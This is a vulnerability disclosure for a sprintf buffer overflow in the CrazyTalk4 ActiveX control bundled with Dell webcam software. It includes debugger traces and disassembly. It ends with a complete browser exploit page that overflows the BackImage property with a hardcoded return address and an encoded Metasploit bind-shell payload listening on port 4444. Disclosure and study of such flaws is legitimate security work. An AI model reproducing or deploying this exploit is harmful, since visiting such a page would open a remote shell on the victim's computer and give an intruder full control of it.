Dell Webcam Software Bundled ActiveX Control CrazyTalk4Native.dll 
sprintf Remote Buffer Overflow Vulnerability

Tested against: Microsoft Windows Vista SP2
                Microsoft Windows XP SP3
                Microsoft Windows 2003 R2 SP2
                Internet Explorer 7/8/9

download url of a test version: 
http://search.dell.com/results.aspx?c=us&l=en&s=gen&cat=sup&k=Dell+SX2210+monitor&rpp=12&p=1&subcat=dyd&rf=all&nk=f&sort=K&ira=False&~srd=False&ipsys=False&advsrch=False&~ck=anav

file tested: Dell_SX2210-Monitor_Webcam SW RC1.1_ R230103.exe


This package contains the Dell Webcam Central software
developed by Creative Technologies for Dell.


info: 
http://dell-webcam-central.software.informer.com/
http://live-cam-avatar-creator.software.informer.com/
http://www.google.com/search?channel=s&hl=en&biw=1024&bih=581&q=13149882-F480-4F6B-8C6A-0764F75B99ED
http://www.google.com/search?sclient=psy-ab&hl=en&biw=1024&bih=581&source=hp&q=crazytalk4.ocx&btnG=Search
http://www.google.com/search?sclient=psy-ab&hl=en&biw=1024&bih=581&source=hp&q=CrazyTalk4Native.dll&btnG=Search
http://dell-webcam-central.software.informer.com/users/
http://live-cam-avatar-creator.software.informer.com/users/

I think this is a very common ActiveX, probably bundled with Dell Notebooks.


Background:
The mentioned software carries a third party ActiveX Control
with the following settings.

Binary path: C:\Program Files\Common Files\Reallusion\CT Player\crazytalk4.ocx
ProgID: CRAZYTALK4.CrazyTalk4Ctrl.1
CLSID: {13149882-F480-4F6B-8C6A-0764F75B99ED}
Safe for Scripting (Registry): True
Safe for Initialization (Registry): True

This control is marked safe for scripting and safe for initialization,
then Internet Explorer will allow scripting of this control from remote.

Vulnerability:

The 'BackImage' ,'ScriptName', 'ModelName' and 'SRC' properties
can be used to trigger a buffer overflow condition.
The crazytalk4.ocx ActiveX control will load the close CrazyTalk4Native.dll
library and, while constructing a local file path, will call sprintf()
with an insufficient size.


Call stack of main thread
Address    Stack      Procedure / arguments                                                                                             Called from                   Frame
0012EE24   023D4FAB   msvcrt.sprintf                                                                                                    CrazyTal.023D4FA5
0012EE28   0012F180     s = 0012F180
0012EE2C   023F431C     format = "%s%s%s"
0012EE30   042A2D6C     <%s> = "C:\DOCUME~1\Admin\LOCALS~1\Temp\RLTMP\~RW463\"
0012EE34   0012EF5C     <%s> = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0012EE38   0012EE58     <%s> = ""
0012F164   023D601D   CrazyTal.023D4F20     

code, CrazyTalk4Native.dll :
..
023D4F80   85C0             test eax,eax
023D4F82   74 38            je short CrazyTal.023D4FBC
023D4F84   8B9C24 2C030000  mov ebx,dword ptr ss:[esp+32C]
023D4F8B   8D4424 1C        lea eax,dword ptr ss:[esp+1C]
023D4F8F   8D8C24 20010000  lea ecx,dword ptr ss:[esp+120]
023D4F96   50               push eax
023D4F97   81C6 443B0000    add esi,3B44
023D4F9D   51               push ecx
023D4F9E   56               push esi
023D4F9F   68 1C433F02      push CrazyTal.023F431C                   ; ASCII "%s%s%s"
023D4FA4   53               push ebx
023D4FA5   FF15 E4F33E02    call dword ptr ds:[<&MSVCRT.sprintf>]    ; msvcrt.sprintf
..

As attachment, proof of concept code which overwrites EIP and SEH.


Note:
                                                                                       
0:008> lm -vm CrazyTalk4Native
start    end        module name
021c0000 0220b000   CrazyTalk4Native   (deferred)             
    Image path: C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CrazyTalk4Native.dll
    Image name: CrazyTalk4Native.dll
    Timestamp:        Thu May 17 12:13:42 2007 (464C2AD6)
    CheckSum:         00048AB2
    ImageSize:        0004B000
    File version:     4.5.815.1
    Product version:  4.0.0.1
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      C3D
    ProductName:      CrazyTalk4 ActiveX Control Module
    InternalName:     CrazyTalk4
    OriginalFilename: CrazyTalk4.OCX
    ProductVersion:   4, 0, 0, 1
    FileVersion:      4, 5, 815, 1
    PrivateBuild:     4, 5, 815, 1
    SpecialBuild:     4, 5, 815, 1
    FileDescription:  CrazyTalk4 Native Control Module
    LegalCopyright:   Copyright (C) 2005
    LegalTrademarks:  Copyright (C) 2005
    Comments:         Copyright (C) 2005

proof of concept: http://retrogod.altervista.org/9sg_dell_poc_nodep.html

proof of concept: 

<!-- 
Dell Camera Software ActiveX Control CrazyTalk4Native.dll sprintf Remote Buffer Overflow Exploit
bind shell, IE-NO-DEP

Binary path: C:\Program Files\Common Files\Reallusion\CT Player\crazytalk4.ocx
ProgID: CRAZYTALK4.CrazyTalk4Ctrl.1
CLSID: {13149882-F480-4F6B-8C6A-0764F75B99ED}
Safe for Scripting (Registry): True
Safe for Initialization (Registry): True
-->
<!-- saved from url=(0014)about :internet -->
<html>
<object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='obj' width=100; height=100; />
</object>
<script>
//bad chars:
//\x80,\x82-\x8c,\x8e,\x91-\x9c,\x9e-\x9f
var x=""; 
for (i=0; i<216; i++){x = x + "A";}
x = x + "\x50\x24\x40\x77";//0x77402450      jmp EBP, user32.dll - change for your need
for (i=0; i<140; i++){x = x + "A";}
// windows/shell_bind_tcp - 696 bytes
// http://www.metasploit.com
// Encoder: x86/alpha_mixed
// EXITFUNC=seh, LPORT=4444, RHOST=
x = x + "‰åÚÐÙuô^VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMM8KIKOKOKOE0LKBLFDQ4LKG5GLLKCLC5CHC1JOLKPOB8LKQOGPC1JKQYLKFTLKC1JNP1IPJ9NLMTIPCDEWIQIZDMC1IRJKL4GKPTQ4FHCEKULKQOGTEQJKBFLKDLPKLKQOELC1JKESFLLKK9BLGTELE1HCFQIKE4LKPCP0LKQPDLLKD0ELNMLKQPC8QNE8LNPNDNJLPPKOHVE6PSCVE8P3FRE8D7CCGBQOQDKON0E8HKJMKLGKPPKOIFQOLIJEE6K1JMC8C2QEBJERKOHPE8N9DIKENMF7KOHVPSF3QCQCF3QSF3QSF3KON0E6E8B1QLE6F3K9M1J5BHNDDZBPIWQGKOIFCZDPPQQEKOHPBHI4NMFNM9QGKOHVQCQEKOHPBHM5QYK6QYPWKON6F0PTF4QEKON0LSE8M7CIHFD9PWKON6F5KON0CVBJCTBFCXE3BMMYM5CZF0QIGYHLK9M7CZPDMYKRP1IPL3NJKNG2FMKNG2FLLSLMCJFXNKNKNKCXBRKNH3DVKOD5G4KOHVQKQGF2F1PQPQBJEQPQPQQEPQKON0BHNMIIC5HNQCKOIFCZKOKOP7KON0LKF7KLMSHDE4KON6PRKON0BHJPMZDDQOPSKON6KOHPAA";
try{
    obj.BackImage = x;
    }catch(e){
    }
    </script>